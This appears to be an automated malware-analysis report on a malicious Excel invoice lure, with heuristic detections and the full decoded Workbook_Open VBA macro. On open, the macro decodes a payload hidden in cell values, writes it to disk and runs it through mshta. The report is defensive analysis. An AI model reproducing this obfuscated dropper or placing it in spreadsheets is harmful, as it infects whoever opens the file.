MALICIOUS
264
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The malicious Excel file contains an obfuscated Workbook_Open VBA macro designed to execute a second-stage payload. The macro utilizes CreateObject to instantiate Wscript.Shell and mshta.exe, and then executes a script file named 'klTabular.sct' located in the AllUsers profile directory. This indicates a downloader or dropper functionality, aiming to fetch and run further malicious code.
Heuristics 9
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Next klClipboardFormatCGM With CreateObject(Cells(195, 106)) .CreateTextFile(klRangeAutoFormatTable10).Write (klChartTitles) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Next klClipboardFormatCGM With CreateObject(Cells(195, 106)) .CreateTextFile(klRangeAutoFormatTable10).Write (klChartTitles) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Sub WorkBook_Open() For Each klClipboardFormatCGM In ActiveWorkbook.Sheets(CStr(Cells(90, 72))).Range(CStr(Cells(148, 146))) -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
For Each klClipboardFormatCGM In ActiveWorkbook.Sheets(CStr(Cells(90, 72))).Range(CStr(Cells(148, 146))) klRangeAutoFormatTable10 = Environ(Cells(105, 105)) & Cells(140, 31) If klClipboardFormatCGM.Value <> 0 Then -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Reference to mshta.exe high SC_STR_MSHTAReference to mshta.exe
-
Fake invoice / payment lure low SE_INVOICE_LUREDocument contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1224 bytes |
SHA-256: ad140ebadacbcb8e8800e1876b1fc3e7befc9146a4cf3882c213357eb08239d8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
For Each klClipboardFormatCGM In ActiveWorkbook.Sheets(CStr(Cells(90, 72))).Range(CStr(Cells(148, 146)))
klRangeAutoFormatTable10 = Environ(Cells(105, 105)) & Cells(140, 31)
If klClipboardFormatCGM.Value <> 0 Then
klChartTitles = klChartTitles & Chr(klClipboardFormatCGM.Value - 1300)
End If
Next klClipboardFormatCGM
With CreateObject(Cells(195, 106))
.CreateTextFile(klRangeAutoFormatTable10).Write (klChartTitles)
End With
With CreateObject(Cells(99, 68))
.Exec Cells(52, 122) & klRangeAutoFormatTable10
End With
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.